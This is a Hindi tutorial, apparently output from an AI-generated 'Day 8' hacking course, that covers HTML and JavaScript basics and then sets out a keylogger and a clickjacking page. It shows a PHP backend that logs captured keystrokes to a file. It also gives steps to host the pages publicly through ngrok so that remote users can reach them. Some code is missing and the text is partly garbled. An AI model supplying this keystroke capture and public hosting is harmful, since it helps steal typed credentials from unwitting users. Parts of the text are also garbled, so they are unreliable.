Day 8 – HTML + JavaScript Basics & Web Attacks (Hindi Guide)

HTML + JavaScript Basics (हैकिंग के नजरिए से)

🛱 HTML क्या है?

- HTML (HyperText Markup Language) एक markup भाषा है जो webpages का ढांचा (structure) बनाती है।
- Webpage में क्या दिखेगा, कैसा दिखेगा, यह HTML तय करता है।
- इसमें हम elements या tags का उपयोग करते हैं:
 - ॰ <html> पूरी HTML डॉक्यूमेंट की शुरुआत
 - ॰ <head> meta जानकारी, title, CSS, JS इत्यादि
 - <body> जो भी user को दिखाई देगा
 - ॰ <h1>, , <a>, , <form> आदि tags content को दर्शाते हैं।

% JavaScript क्या है?

- JavaScript एक scripting language है जो webpages को dynamic और interactive बनाती है।
- JS HTML के साथ जुड़कर DOM (Document Object Model) को manipulate करता है।
- उदाहरण:
 - बटन क्लिक पर मैसेज दिखाना
 - o form validation
 - o input data को server पर भेजना

HTML & JS Cheat Sheet (Quick Reference)

◇ HTML:

Tag	Description
<html></html>	HTML document की शुरुआत
<head></head>	Header में meta, CSS, JS
<body></body>	Main visible content
<h1></h1>	Heading level 1
	Paragraph
<a>>	Anchor link
	Image insert
·	

Tag	Description
<input/>	Input field
<button></button>	Clickable button
<form></form>	Form creation
<script></th><th>JavaScript embed करने के लिए</th></tr></tbody></table></script>	

♦ JavaScript:

Syntax	Description
alert("Hi")	Pop-up message दिखाता है
<pre>document.getElementById("id")</pre>	किसी element को access करता है
addEventListener()	इवेंट पकड़ने के लिए जैसे click, keypress
fetch(url)	Server को data भेजने के लिए


```
<!DOCTYPE html>
<html>
<head>
  <title>My First Page</title>
</head>
<body>
 <h1> <h1> <h1> Welcome!</h1>
  <button onclick="alert('Hello User')">Click Me</button>
 <input id="username" type="text" placeholder="Your Name">
 <button onclick="sendData()">Send</button>
 <script>
   function sendData() {
      let name = document.getElementById("username").value;
      alert("You entered: " + name);
 </script>
</body>
</html>
```

- 1 JavaScript Attack Techniques (Educational Purpose Only)
- 1 Keylogger (keyboard पर input capture কংনা)
- ♦ HTML Page (keylogger.html):

♦ PHP Backend (log.php):

```
<?php
if (isset($_GET['key'])) {
   file_put_contents("keys.txt", $_GET['key'] . PHP_EOL, FILE_APPEND);
}
}
</pre>
```

- 2 Clickjacking (user को छुपी चीज़ों पर click कराना)
- ♦ HTML Page (clickjack.html):

🔊 iframe तभी काम करेगा जब target site iframe embedding को allow करे।

Local Hosting Setup (Windows/Linux)

Folder Structure:

```
web_attacks/
|--- log.php
|--- keys.txt
|--- keylogger.html
|--- clickjack.html
```

▶ Server Start करने के लिए:

```
php -S 0.0.0:8080
```

● Ngrok से Public Link:

```
ngrok http 8080
```

® Example URLs:

- https://abc123.ngrok.io/keylogger.html
- https://abc123.ngrok.io/clickjack.html

✓ Summary Table

Technique	Purpose	Requires PHP	Dev Console Possible
Keylogger	Keypress capture		
Clickjacking	Hidden target click	×	×

Disclaimer

यह document केवल educational purpose के लिए है। इसका उपयोग केवल वैध और ethical hacking अभ्यास के लिए करें। किसी unauthorized activity की जिम्मेदारी आपकी स्वयं की होगी।

😭 आगे क्या?

- ZIP बनवाने के लिए लिखें: make zip
- अगला दिन स्टार्ट करें: start day 9
- Extra attack जोड़ना हो: add more attack Happy Learning! 📆